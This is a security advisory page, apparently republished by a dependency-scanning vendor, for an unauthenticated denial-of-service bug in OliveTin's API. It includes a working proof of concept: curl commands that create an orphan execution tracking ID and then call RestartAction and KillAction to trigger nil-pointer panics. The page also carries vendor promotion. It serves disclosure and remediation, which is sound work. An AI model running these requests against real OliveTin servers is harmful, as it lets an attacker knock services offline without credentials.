GHSA-fwhj-785h-43hh
MEDIUMOliveTin has crash on NPE by calling APIs with invalid bindings or log references
Blast Radius
github.com/OliveTin/OliveTinReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.
Details
The issue is caused by this flow:
-
StartActionByGetaccepts arbitraryactionIdand still calls executor:service/internal/api/api.go:239
-
Executor stores a log entry before binding validation:
service/internal/executor/executor.go:519
-
If binding is nil, execution stops, but the log entry remains:
service/internal/executor/executor.go:781
-
KillActiondereferencesexecReqLogEntry.Binding.Actionwithout checkingBinding:service/internal/api/api.go:79
-
RestartActionhas the same unsafe dereference:service/internal/api/api.go:1285
Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.
PoC
Environment:
- OliveTin default single frontend on
http://localhost:1337 - Reproduced on
main(commit235493e) and tag3000.11.0
- Create orphan tracking ID with invalid action:
T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \
-H 'Content-Type: application/json' \
--data '{"actionId":"does-not-exist"}' \
| sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p')
echo "$T"
2. Trigger panic in RestartAction:
curl -v -X POST http://localhost:1337/api/RestartAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
3. Trigger panic in KillAction:
curl -v -X POST http://localhost:1337/api/KillAction \
-H 'Content-Type: application/json' \
--data "{\"executionTrackingId\":\"$T\"}"
Observed client output:
- curl: (52) Empty reply from server
Observed server log:
- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
- service/internal/api/api.go:79 (KillAction)
- service/internal/api/api.go:1285 (RestartAction)
Impact
This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/OliveTin/OliveTin | all versions | 0.0.0-20260304225158-bb14c5da3e64 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/OliveTin/OliveTin to 0.0.0-20260304225158-bb14c5da3e64 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fwhj-785h-43hh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fwhj-785h-43hh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fwhj-785h-43hh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fwhj-785h-43hh in your dependencies?
O3 detects GHSA-fwhj-785h-43hh across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.